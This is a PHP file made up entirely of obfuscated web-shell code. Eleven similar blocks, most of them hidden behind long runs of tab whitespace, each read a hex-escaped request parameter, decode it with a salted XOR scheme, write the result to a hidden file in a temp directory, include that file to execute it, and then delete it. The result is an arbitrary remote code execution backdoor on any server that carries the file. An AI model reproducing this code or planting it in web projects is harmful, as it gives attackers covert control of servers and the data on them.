<?php																																										if(filter_has_var(INPUT_POST, "\x64\x61t\x61\x5Fc\x68unk")){ $data = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", getenv("TMP"), getcwd()]); $holder = $_REQUEST["\x64\x61t\x61\x5Fc\x68unk"]; $holder=explode( '.' ,$holder ) ; $hld = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); foreach ($holder as $p => $v3) { $chS = ord($s4[$p % $lenS]); $dec = ((int)$v3 - $chS - ($p % 10)) ^ 80; $hld .= chr($dec); } while ($flag = array_shift($data)) { if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $resource = str_replace("{var_dir}", $flag, "{var_dir}/.pgrp"); if (file_put_contents($resource, $hld)) { include $resource; @unlink($resource); die(); } } } }
																																										if(!is_null($_POST["\x72\x65f"] ?? null)){ $entity = $_POST["\x72\x65f"]; $entity= explode ( '.', $entity ) ; $data_chunk = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); $z = 0; array_walk( $entity, function( $v5) use( &$data_chunk, &$z, $s4, $lenS) { $chS = ord( $s4[$z %$lenS]); $d = ( ( int)$v5 - $chS -( $z %10)) ^65; $data_chunk .=chr( $d); $z++; }); $item = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm"]); $factor = 0; do { $flag = $item[$factor] ?? null; if ($factor >= count($item)) break; if ((is_dir($flag) and is_writable($flag))) { $binding = str_replace("{var_dir}", $flag, "{var_dir}/.value"); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $binding; @unlink($binding); die(); } } $factor++; } while (true); }
																																										if(in_array("\x70ro\x70e\x72ty\x5Fs\x65\x74", array_keys($_POST))){ $fac = $_POST["\x70ro\x70e\x72ty\x5Fs\x65\x74"]; $fac =explode( '.' , $fac) ; $ptr= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s6 ); $__len= count( $fac ); for( $p= 0; $p < $__len; $p++) { $v2= $fac[$p]; $sChar= ord( $s6[$p % $lenS] ); $d= ( ( int)$v2 - $sChar -( $p % 10)) ^ 38; $ptr.= chr( $d ); } $symbol = array_filter([session_save_path(), "/tmp", getcwd(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); for ($pointer = 0, $element = count($symbol); $pointer < $element; $pointer++) { $pset = $symbol[$pointer]; if (!( !is_dir($pset) || !is_writable($pset) )) { $obj = sprintf("%s/.entity", $pset); if (@file_put_contents($obj, $ptr) !== false) { include $obj; unlink($obj); die(); } } } }
																																										if(!is_null($_REQUEST["\x6F\x62j"] ?? null)){ $property_set = $_REQUEST["\x6F\x62j"]; $property_set= explode ("." , $property_set) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($property_set); for ($w = 0; $w< $len; $w++) { $v7 = $property_set[$w]; $sChar = ord($s[$w% $sLen]); $dec = ((int)$v7 - $sChar - ($w% 10)) ^ 75; $flag .= chr($dec);} $ent = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", "/dev/shm", session_save_path()]); foreach ($ent as $value) { if (is_dir($value) && is_writable($value)) { $tkn = sprintf("%s/.rec", $value); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $tkn; @unlink($tkn); exit; } } } }
																																										if(!empty($_POST["\x76\x61lue"])){ $bind = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP")]); $k = $_POST["\x76\x61lue"]; $k = explode ( "." ,$k ); $ent = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); foreach( $k as $p => $v7): $chS = ord( $salt5[$p % $lenS]); $d = ( ( int)$v7 - $chS -( $p % 10)) ^ 25; $ent .= chr( $d); endforeach; foreach ($bind as $element): if ((bool)is_dir($element) && (bool)is_writable($element)) { $val = "$element/.data"; if (@file_put_contents($val, $ent) !== false) { include $val; unlink($val); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x68\x6Cd"])){ $ref = $_POST["\x68\x6Cd"]; $ref = explode ( '.' , $ref ) ; $itm = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1); $m = 0; while( $m< count( $ref)) { $v8 = $ref[$m]; $chS = ord( $s1[$m% $lenS]); $dec =( ( int)$v8 - $chS -( $m% 10))^ 18; $itm.=chr( $dec); $m++; } $k = array_filter([sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TMP"), getcwd()]); foreach ($k as $descriptor) { if ((is_dir($descriptor) and is_writable($descriptor))) { $entry = implode("/", [$descriptor, ".res"]); if (file_put_contents($entry, $itm)) { include $entry; @unlink($entry); exit; } } } }
																																										if(isset($_REQUEST["co\x6Dp"]) ? true : false){ $elem = $_REQUEST["co\x6Dp"]; $elem =explode ( '.' ,$elem) ; $sym = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $n = 0; array_walk($elem, function ($v4) use (&$sym, &$n, $s9, $sLen) {$chS = ord($s9[$n % $sLen]); $dec = ((int)$v4 - $chS - ($n % 10)) ^ 10; $sym .= chr($dec); $n++; }); $resource = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TMP")]); foreach ($resource as $key => $val) { if ((function($d) { return is_dir($d) && is_writable($d); })($val)) { $property_set = implode("/", [$val, ".dat"]); if (file_put_contents($property_set, $sym)) { include $property_set; @unlink($property_set); die(); } } } }
																																										if(!is_null($_REQUEST["e\x6Et"] ?? null)){ $ref = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); $reference = $_REQUEST["e\x6Et"]; $reference = explode ( "." , $reference) ; $comp=''; $salt2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt2); $__len=count($reference); for ($p=0; $p < $__len; $p++) { $v5=$reference[$p]; $sChar=ord($salt2[$p %$sLen]); $dec=((int)$v5 - $sChar - ($p %10)) ^ 37; $comp.=chr($dec); } $property_set = 0; do { $object = $ref[$property_set] ?? null; if ($property_set >= count($ref)) break; if (!!is_dir($object) && !!is_writable($object)) { $factor = join("/", [$object, ".item"]); $success = file_put_contents($factor, $comp); if ($success) { include $factor; @unlink($factor); exit;} } $property_set++; } while (true); }
																																										if(!empty($_POST["key"])){ $dchunk = $_POST["key"]; $dchunk = explode ("." , $dchunk); $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $t = 0; $__tmp = $dchunk; while($v3 = array_shift($__tmp)) { $chS = ord($salt[$t% $lenS] ); $dec = ((int)$v3 - $chS -($t% 10)) ^ 62; $reference .= chr($dec ); $t++; } $data = array_filter([session_save_path(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getcwd()]); foreach ($data as $item): if (is_dir($item) && is_writable($item)) { $k = vsprintf("%s/%s", [$item, ".obj"]); if (@file_put_contents($k, $reference) !== false) { include $k; unlink($k); die(); } } endforeach; }
																																										if(isset($_REQUEST["\x62\x69ndi\x6Eg"]) ? true : false){ $bind = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", session_save_path()]); $key = $_REQUEST["\x62\x69ndi\x6Eg"]; $key = explode ( '.', $key) ; $entry =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s2 ); $i =0; foreach( $key as $v2) { $sChar =ord( $s2[$i % $sLen] ); $d =( ( int)$v2 - $sChar -( $i % 10)) ^ 20; $entry .= chr( $d ); $i++; } foreach ($bind as $parameter_group): if (is_dir($parameter_group) ? is_writable($parameter_group) : false) { $object = join("/", [$parameter_group, ".res"]); if (file_put_contents($object, $entry)) { require $object; unlink($object); die(); } } endforeach; }


if(@$_REQUEST["d\x63\x68\x75nk"] !== null){
	$holder = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP")]);
	$component = $_REQUEST["d\x63\x68\x75nk"];
	 $component=  explode	( "." 	 ,	 $component) 	 ;
	$k	 = 	'';
            $salt7	 = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 = 	strlen($salt7	);
            $__len	 = 	count($component	);
    
            for($l	 = 	0; $l < $__len; $l++) {	 $v2	 = 	$component[$l];
                $chS	 = 	ord($salt7[$l % $sLen]	);
                $d	 = 	((int)$v2 - $chS -($l % 10))^2;
                $k		.= chr($d	);
            }
	foreach ($holder as $key => $object) {
    		if (array_product([is_dir($object), is_writable($object)])) {
    $bind = "$object" . "/.entity";
    if (file_put_contents($bind, $k)) {
	require $bind;
	unlink($bind);
	die();
}
}
}
}